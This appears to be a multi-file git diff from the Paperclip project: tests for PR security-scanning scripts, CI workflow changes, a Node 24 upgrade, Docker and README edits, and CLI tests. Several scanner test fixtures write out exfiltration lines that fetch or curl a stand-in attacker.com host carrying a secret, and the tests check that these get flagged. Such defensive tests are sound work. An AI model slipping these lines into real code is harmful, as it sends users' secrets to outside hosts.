{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
|
||||
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
|
||||
];
|
||||
|
||||
await syncDraftAdvisory(async (path, token, options) => {
|
||||
calls.push({ path, token, options });
|
||||
if (path.includes('/security-advisories?state=draft')) {
|
||||
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
|
||||
}
|
||||
return { ok: true };
|
||||
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
|
||||
|
||||
assert.equal(calls.length, 2);
|
||||
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
|
||||
assert.equal(calls[1].options.method, 'PATCH');
|
||||
const patchBody = JSON.parse(calls[1].options.body);
|
||||
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
|
||||
assert.deepEqual(patchBody, expectedPatch);
|
||||
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
|
||||
});
|
||||
|
||||
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
|
||||
const calls = [];
|
||||
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
|
||||
|
||||
await syncDraftAdvisory(async (path, token, options) => {
|
||||
calls.push({ path, token, options });
|
||||
if (path.includes('/security-advisories?state=draft')) {
|
||||
return [];
|
||||
}
|
||||
return { ok: true };
|
||||
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
|
||||
|
||||
assert.equal(calls.length, 2);
|
||||
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
|
||||
assert.equal(calls[1].options.method, 'POST');
|
||||
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
|
||||
});
|
||||
|
||||
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
|
||||
const calls = [];
|
||||
|
||||
await postSecurityCheckRun(async (path, token, options) => {
|
||||
calls.push({ path, token, options });
|
||||
return { ok: true };
|
||||
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
|
||||
|
||||
assert.equal(calls.length, 1);
|
||||
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
|
||||
assert.equal(calls[0].options.method, 'POST');
|
||||
assert.deepEqual(JSON.parse(calls[0].options.body), {
|
||||
name: 'security-review',
|
||||
head_sha: 'deadbeef',
|
||||
status: 'completed',
|
||||
conclusion: 'neutral',
|
||||
output: {
|
||||
title: 'Security Review Recommended',
|
||||
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
|
||||
const seenPaths = [];
|
||||
const stale = await validateSensitivePaths(
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
6469,
|
||||
'release/1.2',
|
||||
async (path) => {
|
||||
seenPaths.push(path);
|
||||
return { ok: true };
|
||||
},
|
||||
);
|
||||
|
||||
assert.deepEqual(stale, []);
|
||||
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
|
||||
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
|
||||
});
|
||||
|
||||
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
|
||||
let seen404 = false;
|
||||
const stale = await validateSensitivePaths(
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
6469,
|
||||
'main',
|
||||
async (path) => {
|
||||
if (!seen404) {
|
||||
seen404 = true;
|
||||
throw new Error('GitHub API GET /contents/foo → 404: missing');
|
||||
}
|
||||
return { ok: true };
|
||||
},
|
||||
);
|
||||
|
||||
assert.equal(stale.length, 1);
|
||||
|
||||
await assert.rejects(
|
||||
validateSensitivePaths(
|
||||
'token',
|
||||
'paperclipai/paperclip',
|
||||
6469,
|
||||
'main',
|
||||
async () => {
|
||||
throw new Error('GitHub API GET /contents/foo → 500: boom');
|
||||
},
|
||||
),
|
||||
/500: boom/
|
||||
);
|
||||
});
|
||||
|
||||
// ── scanTestPatterns ─────────────────────────────────────────────────────────
|
||||
|
||||
test('scanTestPatterns: flags outbound fetch in test file', () => {
|
||||
const files = [{
|
||||
filename: 'src/foo.test.ts',
|
||||
patch: `+ const res = await fetch('https://attacker.com/collect')`,
|
||||
}];
|
||||
assert.ok(scanTestPatterns(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanTestPatterns: flags execSync in test file', () => {
|
||||
const files = [{
|
||||
filename: 'src/foo.test.ts',
|
||||
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
|
||||
}];
|
||||
assert.ok(scanTestPatterns(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
|
||||
const files = [{
|
||||
filename: 'src/api.ts',
|
||||
patch: `+ const res = await fetch('https://api.example.com')`,
|
||||
}];
|
||||
assert.equal(scanTestPatterns(files).length, 0);
|
||||
});
|
||||
|
||||
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
|
||||
const files = [{
|
||||
filename: 'src/__tests__/foo.ts',
|
||||
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
|
||||
}];
|
||||
assert.ok(scanTestPatterns(files).length > 0);
|
||||
});
|
||||
|
||||
// ── scanSensitivePaths ───────────────────────────────────────────────────────
|
||||
|
||||
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
|
||||
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
|
||||
assert.ok(scanSensitivePaths(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
|
||||
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
|
||||
assert.ok(scanSensitivePaths(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
|
||||
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
|
||||
assert.ok(scanSensitivePaths(files).length > 0);
|
||||
});
|
||||
|
||||
test('scanSensitivePaths: ignores unrelated paths', () => {
|
||||
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
|
||||
assert.equal(scanSensitivePaths(files).length, 0);
|
||||
});
|
||||
|
||||
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
|
||||
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
|
||||
assert.equal(scanSensitivePaths(files).length, 0);
|
||||
});
|
||||
|
||||
// ── startScriptWatchdog ──────────────────────────────────────────────────────
|
||||
|
||||
test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
|
||||
let exitCode = null;
|
||||
const fakeExit = (code) => { exitCode = code; };
|
||||
startScriptWatchdog(20, fakeExit);
|
||||
await new Promise((resolve) => setTimeout(resolve, 60));
|
||||
assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
|
||||
});
|
||||
|
||||
test('startScriptWatchdog: cleared timer never fires', async () => {
|
||||
let exitCode = null;
|
||||
const fakeExit = (code) => { exitCode = code; };
|
||||
const timer = startScriptWatchdog(20, fakeExit);
|
||||
clearTimeout(timer);
|
||||
await new Promise((resolve) => setTimeout(resolve, 60));
|
||||
assert.equal(exitCode, null, 'cleared watchdog must not call exit');
|
||||
});
|
||||
|
||||
// ── ghFetch timeout ──────────────────────────────────────────────────────────
|
||||
|
||||
test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
|
||||
const originalFetch = globalThis.fetch;
|
||||
// Replace global fetch with one that respects the AbortSignal but never resolves on its own.
|
||||
globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
|
||||
init?.signal?.addEventListener('abort', () => {
|
||||
const err = new Error('aborted');
|
||||
err.name = 'AbortError';
|
||||
reject(err);
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
try {
|
||||
const start = Date.now();
|
||||
await assert.rejects(
|
||||
ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
|
||||
/aborted|abort/i,
|
||||
);
|
||||
const elapsed = Date.now() - start;
|
||||
assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
|
||||
} finally {
|
||||
globalThis.fetch = originalFetch;
|
||||
}
|
||||
});
|
||||
@@ -9,7 +9,6 @@ on:
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
security-events: write
|
||||
checks: write
|
||||
contents: read
|
||||
|
||||
@@ -32,7 +31,7 @@ jobs:
|
||||
- name: Set up Node
|
||||
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
|
||||
with:
|
||||
node-version: '20'
|
||||
node-version: '24'
|
||||
|
||||
- name: Generate commitperclip token
|
||||
id: token
|
||||
@@ -55,16 +54,6 @@ jobs:
|
||||
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
|
||||
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
|
||||
|
||||
- name: Run security gates
|
||||
run: node .github/scripts/check-pr-security.mjs
|
||||
continue-on-error: true
|
||||
timeout-minutes: 3
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.value }}
|
||||
GH_REPO: ${{ github.repository }}
|
||||
PR_NUMBER: ${{ github.event.pull_request.number }}
|
||||
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
|
||||
|
||||
- name: Fail if quality gates failed
|
||||
if: >-
|
||||
github.event.pull_request.user.login != 'dependabot[bot]' &&
|
||||
|
||||
@@ -6,6 +6,13 @@ on:
|
||||
- "master"
|
||||
tags:
|
||||
- "v*"
|
||||
- "nightly/v*"
|
||||
- "beta/v*"
|
||||
# Release workflows push lane tags with GITHUB_TOKEN, and GitHub suppresses
|
||||
# push-triggered runs for those, so release.yml dispatches this workflow at
|
||||
# the new tag ref instead. The tag mapping below keys off github.ref either
|
||||
# way.
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -40,7 +47,19 @@ jobs:
|
||||
id: build-version
|
||||
run: |
|
||||
set -euo pipefail
|
||||
version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)"
|
||||
case "${GITHUB_REF}" in
|
||||
refs/tags/nightly/v*)
|
||||
# Lane tags carry the exact published version; stamp it verbatim
|
||||
# instead of describing drift from the nearest stable tag.
|
||||
version="${GITHUB_REF#refs/tags/nightly/v}"
|
||||
;;
|
||||
refs/tags/beta/v*)
|
||||
version="${GITHUB_REF#refs/tags/beta/v}"
|
||||
;;
|
||||
*)
|
||||
version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)"
|
||||
;;
|
||||
esac
|
||||
echo "version=${version}" >> "$GITHUB_OUTPUT"
|
||||
echo "Stamping build version: ${version:-<none>}"
|
||||
|
||||
@@ -63,7 +82,7 @@ jobs:
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 20
|
||||
node-version: 24
|
||||
|
||||
- name: Refresh lockfile for Docker build context
|
||||
run: |
|
||||
@@ -131,15 +150,21 @@ jobs:
|
||||
echo "last=${last}" >> "$GITHUB_OUTPUT"
|
||||
echo "count=${count}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Lane tag mapping: master pushes publish `:canary`, nightly/v* tags
|
||||
# publish `:nightly`, and only stable v* tags move `:latest` and the
|
||||
# versioned tags. `:sha-<short>` is published on every build.
|
||||
- name: Docker meta
|
||||
id: meta
|
||||
uses: docker/metadata-action@v6
|
||||
with:
|
||||
images: ghcr.io/${{ github.repository }}
|
||||
tags: |
|
||||
type=raw,value=latest,enable={{is_default_branch}}
|
||||
type=semver,pattern={{version}}
|
||||
type=semver,pattern={{major}}.{{minor}}
|
||||
type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }}
|
||||
type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }}
|
||||
type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }}
|
||||
type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }}
|
||||
type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
|
||||
type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
|
||||
type=sha
|
||||
labels: |
|
||||
io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }}
|
||||
@@ -197,7 +222,19 @@ jobs:
|
||||
id: build-version
|
||||
run: |
|
||||
set -euo pipefail
|
||||
version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)"
|
||||
case "${GITHUB_REF}" in
|
||||
refs/tags/nightly/v*)
|
||||
# Lane tags carry the exact published version; stamp it verbatim
|
||||
# instead of describing drift from the nearest stable tag.
|
||||
version="${GITHUB_REF#refs/tags/nightly/v}"
|
||||
;;
|
||||
refs/tags/beta/v*)
|
||||
version="${GITHUB_REF#refs/tags/beta/v}"
|
||||
;;
|
||||
*)
|
||||
version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)"
|
||||
;;
|
||||
esac
|
||||
echo "version=${version}" >> "$GITHUB_OUTPUT"
|
||||
echo "Stamping build version: ${version:-<none>}"
|
||||
|
||||
@@ -220,7 +257,7 @@ jobs:
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 20
|
||||
node-version: 24
|
||||
|
||||
- name: Refresh lockfile for Docker build context
|
||||
run: |
|
||||
@@ -288,8 +325,9 @@ jobs:
|
||||
echo "last=${last}" >> "$GITHUB_OUTPUT"
|
||||
echo "count=${count}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Published under the same tag set with a `-cloud` suffix
|
||||
# (sha-<short>-cloud, latest-cloud, <version>-cloud).
|
||||
# Published under the same lane tag set as the self-hosted image, with a
|
||||
# `-cloud` suffix (canary-cloud, nightly-cloud, latest-cloud,
|
||||
# <version>-cloud, sha-<short>-cloud).
|
||||
- name: Docker meta (cloud)
|
||||
id: meta-cloud
|
||||
uses: docker/metadata-action@v6
|
||||
@@ -298,9 +336,12 @@ jobs:
|
||||
flavor: |
|
||||
suffix=-cloud,onlatest=true
|
||||
tags: |
|
||||
type=raw,value=latest,enable={{is_default_branch}}
|
||||
type=semver,pattern={{version}}
|
||||
type=semver,pattern={{major}}.{{minor}}
|
||||
type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }}
|
||||
type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }}
|
||||
type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }}
|
||||
type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }}
|
||||
type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
|
||||
type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }}
|
||||
type=sha
|
||||
labels: |
|
||||
io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }}
|
||||
|
||||
@@ -24,7 +24,7 @@ jobs:
|
||||
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 20
|
||||
node-version: 24
|
||||
cache: pnpm
|
||||
|
||||
- run: pnpm install --frozen-lockfile
|
||||
|
||||
@@ -49,11 +49,16 @@ jobs:
|
||||
- name: Validate Dockerfile deps stage
|
||||
run: node ./scripts/check-docker-deps-stage.mjs
|
||||
|
||||
- name: Validate Node version policy
|
||||
run: pnpm check:node-version
|
||||
|
||||
- name: Reject git push in adapter/runtime code
|
||||
run: node ./scripts/check-no-git-push.mjs
|
||||
|
||||
- name: Test no-git-push check
|
||||
run: node --test ./scripts/check-no-git-push.test.mjs
|
||||
- name: Test PR quality-gate scripts
|
||||
run: node --test '.github/scripts/tests/*.test.mjs'
|
||||
|
||||
- name: Test general-server shard partition
|
||||
run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs
|
||||
@@ -174,8 +179,20 @@ jobs:
|
||||
group_label: server (5/5)
|
||||
shard_index: 4
|
||||
shard_count: 5
|
||||
# workspaces-a was the slowest check in the fully-green PR run
|
||||
# 31371439296 (2026-08-10) at 319s, with the ui project's single
|
||||
# vitest invocation accounting for ~224s and the paperclipai CLI
|
||||
# ~37s. Two shards use Vitest's native --shard on each project's
|
||||
# file list (ui: 439 files, cli: 54), bringing each job to roughly
|
||||
# half the suite time (~130s + setup) without a duration manifest.
|
||||
- group: general-workspaces-a
|
||||
group_label: workspaces-a
|
||||
group_label: workspaces-a (1/2)
|
||||
shard_index: 0
|
||||
shard_count: 2
|
||||
- group: general-workspaces-a
|
||||
group_label: workspaces-a (2/2)
|
||||
shard_index: 1
|
||||
shard_count: 2
|
||||
- group: general-workspaces-b
|
||||
group_label: workspaces-b
|
||||
|
||||
@@ -275,9 +292,11 @@ jobs:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
# A successful PR run on 2026-08-04 (30876682788) spent 256s in
|
||||
# serialized shard 2/4, making its 305s job the run's slowest check.
|
||||
# Five shards reduce the measured 739s suite total to about 148s per
|
||||
# A successful PR run on 2026-08-17 (32012408876) spent 291s in
|
||||
# serialized shard 1/5 while its siblings ran 170-201s: round-robin
|
||||
# clustered the heavy suites on one runner. Shards are now balanced
|
||||
# by recorded duration (scripts/serialized-shard-durations.json),
|
||||
# which levels the measured 968s suite total to about 194s per
|
||||
# runner before setup overhead.
|
||||
- shard_index: 0
|
||||
shard_count: 5
|
||||
|
||||
@@ -31,7 +31,7 @@ jobs:
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 20
|
||||
node-version: 24
|
||||
cache: pnpm
|
||||
|
||||
- name: Refresh pnpm lockfile
|
||||
|
||||
@@ -10,6 +10,8 @@ on:
|
||||
type: choice
|
||||
options:
|
||||
- canary
|
||||
- nightly
|
||||
- beta
|
||||
- latest
|
||||
host_port:
|
||||
description: Host port for the Docker smoke container
|
||||
@@ -69,6 +71,7 @@ jobs:
|
||||
HOST_PORT="${{ inputs.host_port }}" \
|
||||
DATA_DIR="$RUNNER_TEMP/release-smoke-data" \
|
||||
PAPERCLIPAI_VERSION="${{ inputs.paperclip_version }}" \
|
||||
SMOKE_READY_TIMEOUT_SECONDS=420 \
|
||||
SMOKE_DETACH=true \
|
||||
SMOKE_METADATA_FILE="$metadata_file" \
|
||||
./scripts/docker-onboard-smoke.sh
|
||||
|
||||
@@ -64,8 +64,16 @@ jobs:
|
||||
group_label: server (3/3)
|
||||
shard_index: 2
|
||||
shard_count: 3
|
||||
# Keep parity with pr.yml: workspaces-a is split with Vitest's
|
||||
# native --shard because the ui project dominates the lane.
|
||||
- group: general-workspaces-a
|
||||
group_label: workspaces-a
|
||||
group_label: workspaces-a (1/2)
|
||||
shard_index: 0
|
||||
shard_count: 2
|
||||
- group: general-workspaces-a
|
||||
group_label: workspaces-a (2/2)
|
||||
shard_index: 1
|
||||
shard_count: 2
|
||||
- group: general-workspaces-b
|
||||
group_label: workspaces-b
|
||||
|
||||
|
||||
+916
-15
File diff suppressed because it is too large.
Load diff
@@ -60,6 +60,7 @@ tests/e2e/test-results/
|
||||
tests/e2e/playwright-report/
|
||||
tests/release-smoke/test-results/
|
||||
tests/release-smoke/playwright-report/
|
||||
test-results/issue-detail-perf/
|
||||
tests/storybook-visual/.cache/
|
||||
tests/storybook-visual/.snapshots/
|
||||
tests/storybook-visual/baseline-review/
|
||||
|
||||
+12
-2
@@ -1,5 +1,5 @@
|
||||
# syntax=docker/dockerfile:1.20
|
||||
FROM node:lts-trixie-slim AS base
|
||||
FROM node:24-trixie-slim AS base
|
||||
ARG USER_UID=1000
|
||||
ARG USER_GID=1000
|
||||
RUN apt-get update \
|
||||
@@ -25,6 +25,7 @@ COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-s
|
||||
COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/
|
||||
COPY packages/mcp-server/package.json packages/mcp-server/
|
||||
COPY packages/skills-catalog/package.json packages/skills-catalog/
|
||||
COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/
|
||||
COPY packages/teams-catalog/package.json packages/teams-catalog/
|
||||
COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/
|
||||
COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/
|
||||
@@ -32,6 +33,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/
|
||||
COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/
|
||||
COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/
|
||||
COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/
|
||||
COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/
|
||||
COPY packages/adapters/hermes/package.json packages/adapters/hermes/
|
||||
COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/
|
||||
COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/
|
||||
@@ -53,6 +55,14 @@ COPY --from=deps /app /app
|
||||
COPY . .
|
||||
RUN pnpm --filter @paperclipai/ui build
|
||||
RUN pnpm --filter @paperclipai/plugin-sdk build
|
||||
# The server build runs scripts/write-build-stamp.mjs, which stamps the built
|
||||
# commit into dist/build-info.json. The build context has no .git, so the
|
||||
# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the
|
||||
# next RUN as an environment variable, so declare it here — in the build
|
||||
# stage — before the server build. The production stage below declares the
|
||||
# same ARG again for the runtime fallback; an ARG goes out of scope at the
|
||||
# end of its stage. Empty for local `docker build`, which then writes no stamp.
|
||||
ARG PAPERCLIP_BUILD_COMMIT=""
|
||||
RUN pnpm --filter @paperclipai/server build
|
||||
RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1)
|
||||
|
||||
@@ -77,7 +87,7 @@ WORKDIR /app
|
||||
# (the single most expensive layer: four CLI toolchains + apt, per arch) can
|
||||
# never hit the layer cache and rebuilds on every build.
|
||||
RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \
|
||||
&& npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \
|
||||
&& npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends openssh-client jq \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
|
||||
@@ -311,7 +311,7 @@ fi
|
||||
bash install.sh
|
||||
```
|
||||
|
||||
The installer ensures Node.js 20 or newer is available, installs a managed
|
||||
The installer ensures Node.js 24.11 or newer is available, installs a managed
|
||||
Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It
|
||||
can also install Paperclip as a background service on supported Linux and
|
||||
macOS systems. The checksum detects transfer or publishing mistakes, but it is
|
||||
@@ -376,7 +376,7 @@ pnpm dev
|
||||
|
||||
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
|
||||
|
||||
> **Requirements:** Node.js 20+, pnpm 9.15+
|
||||
> **Requirements:** Node.js 24.11+, pnpm 9.15+
|
||||
|
||||
<br/>
|
||||
|
||||
|
||||
+1
-1
@@ -305,7 +305,7 @@ pnpm dev
|
||||
|
||||
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
|
||||
|
||||
> **Requirements:** Node.js 20+, pnpm 9.15+
|
||||
> **Requirements:** Node.js 24.11+, pnpm 9.15+
|
||||
|
||||
<br/>
|
||||
|
||||
|
||||
@@ -70,7 +70,7 @@ export default {
|
||||
entryPoints: ["src/index.ts"],
|
||||
bundle: true,
|
||||
platform: "node",
|
||||
target: "node20",
|
||||
target: "node24",
|
||||
format: "esm",
|
||||
outfile: "dist/index.js",
|
||||
banner: { js: "#!/usr/bin/env node" },
|
||||
|
||||
+7
-3
@@ -36,13 +36,14 @@
|
||||
"typecheck": "tsc --noEmit"
|
||||
},
|
||||
"dependencies": {
|
||||
"@clack/prompts": "^0.11.0",
|
||||
"@clack/prompts": "^1.7.0",
|
||||
"@paperclipai/adapter-claude-local": "workspace:*",
|
||||
"@paperclipai/adapter-codex-local": "workspace:*",
|
||||
"@paperclipai/adapter-cursor-cloud": "workspace:*",
|
||||
"@paperclipai/adapter-cursor-local": "workspace:*",
|
||||
"@paperclipai/adapter-gemini-local": "workspace:*",
|
||||
"@paperclipai/adapter-grok-local": "workspace:*",
|
||||
"@paperclipai/adapter-kimi-local": "workspace:*",
|
||||
"@paperclipai/adapter-opencode-local": "workspace:*",
|
||||
"@paperclipai/adapter-pi-local": "workspace:*",
|
||||
"@paperclipai/adapter-openclaw-gateway": "workspace:*",
|
||||
@@ -58,8 +59,11 @@
|
||||
"picocolors": "^1.1.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^22.20.1",
|
||||
"tsx": "^4.23.1",
|
||||
"@types/node": "^24.0.0",
|
||||
"tsx": "^4.23.12",
|
||||
"typescript": "^5.7.3"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=24.11.0"
|
||||
}
|
||||
}
|
||||
@@ -76,4 +76,62 @@ describe("agent jwt env helpers", () => {
|
||||
expect(contents).toContain('PAPERCLIP_WORKTREE_COLOR="#439edb"');
|
||||
expect(readPaperclipEnvEntries(envPath).PAPERCLIP_WORKTREE_COLOR).toBe("#439edb");
|
||||
});
|
||||
|
||||
it("preserves operator content and CRLF while updating only managed entries", () => {
|
||||
const configPath = tempConfigPath();
|
||||
const envPath = resolveAgentJwtEnvFile(configPath);
|
||||
const original = [
|
||||
"# operator comment",
|
||||
"DATABASE_URL='postgres://operator:encoded@localhost/paperclip'",
|
||||
"",
|
||||
"export PAPERCLIP_HOME = '/old path' # managed path",
|
||||
"PAPERCLIP_DUPLICATE=stale",
|
||||
'PAPERCLIP_DUPLICATE="current"',
|
||||
"UNKNOWN_VALUE=operator-owned",
|
||||
"",
|
||||
].join("\r\n");
|
||||
fs.writeFileSync(envPath, original, { mode: 0o600 });
|
||||
|
||||
mergePaperclipEnvEntries(
|
||||
{
|
||||
PAPERCLIP_HOME: "/new path",
|
||||
PAPERCLIP_DUPLICATE: "current",
|
||||
PAPERCLIP_WORKTREE_COLOR: "#439edb",
|
||||
DATABASE_URL: "postgres://paperclip-must-not-overwrite",
|
||||
},
|
||||
envPath,
|
||||
);
|
||||
|
||||
const updated = fs.readFileSync(envPath, "utf8");
|
||||
expect(updated).toBe([
|
||||
"# operator comment",
|
||||
"DATABASE_URL='postgres://operator:encoded@localhost/paperclip'",
|
||||
"",
|
||||
'export PAPERCLIP_HOME = "/new path" # managed path',
|
||||
"PAPERCLIP_DUPLICATE=current",
|
||||
'PAPERCLIP_DUPLICATE="current"',
|
||||
"UNKNOWN_VALUE=operator-owned",
|
||||
'PAPERCLIP_WORKTREE_COLOR="#439edb"',
|
||||
"",
|
||||
].join("\r\n"));
|
||||
expect(updated.replaceAll("\r\n", "")).not.toContain("\n");
|
||||
});
|
||||
|
||||
it("does not replace the env file when managed values are already current", () => {
|
||||
const configPath = tempConfigPath();
|
||||
const envPath = resolveAgentJwtEnvFile(configPath);
|
||||
const original = [
|
||||
"# preserve this file byte-for-byte",
|
||||
"export PAPERCLIP_HOME = '/same path'",
|
||||
"UNKNOWN=\"operator encoding\"",
|
||||
"",
|
||||
].join("\n");
|
||||
fs.writeFileSync(envPath, original, { mode: 0o600 });
|
||||
const previousInode = fs.statSync(envPath).ino;
|
||||
|
||||
mergePaperclipEnvEntries({ PAPERCLIP_HOME: "/same path" }, envPath);
|
||||
|
||||
expect(fs.readFileSync(envPath, "utf8")).toBe(original);
|
||||
expect(fs.statSync(envPath).ino).toBe(previousInode);
|
||||
});
|
||||
});
|
||||
@@ -83,7 +83,15 @@ describe("agent lifecycle commands", () => {
|
||||
await run(["agent", "runtime-state:reset-session", AGENT_ID, "--task-key", "task-1"]);
|
||||
await run(["agent", "task-sessions", AGENT_ID]);
|
||||
await run(["agent", "skills", AGENT_ID]);
|
||||
await run(["agent", "skills:sync", AGENT_ID, "--desired-skills", "paperclip,github"]);
|
||||
await run([
|
||||
"agent",
|
||||
"skills:sync",
|
||||
AGENT_ID,
|
||||
"--desired-skills",
|
||||
"paperclip,github",
|
||||
"--mode",
|
||||
"replace",
|
||||
]);
|
||||
await run(["agent", "instructions-path:update", AGENT_ID, "--payload-json", JSON.stringify({ path: "/tmp/AGENTS.md" })]);
|
||||
await run(["agent", "instructions-bundle", AGENT_ID]);
|
||||
await run(["agent", "instructions-bundle:update", AGENT_ID, "--payload-json", JSON.stringify({ mode: "managed" })]);
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
channelForVersion,
|
||||
collectChannelState,
|
||||
RELEASE_CHANNELS,
|
||||
} from "../commands/channels.js";
|
||||
import type { CommandRunner } from "../commands/install.js";
|
||||
|
||||
describe("channelForVersion", () => {
|
||||
it("maps published versions to their lane", () => {
|
||||
expect(channelForVersion("2026.811.0")).toBe("stable");
|
||||
expect(channelForVersion("2026.811.0-beta.0")).toBe("beta");
|
||||
expect(channelForVersion("2026.811.0-nightly.0")).toBe("nightly");
|
||||
expect(channelForVersion("2026.811.0-canary.3")).toBe("canary");
|
||||
});
|
||||
|
||||
it("treats non-CalVer versions as unknown instead of guessing", () => {
|
||||
expect(channelForVersion("0.3.1")).toBe("unknown");
|
||||
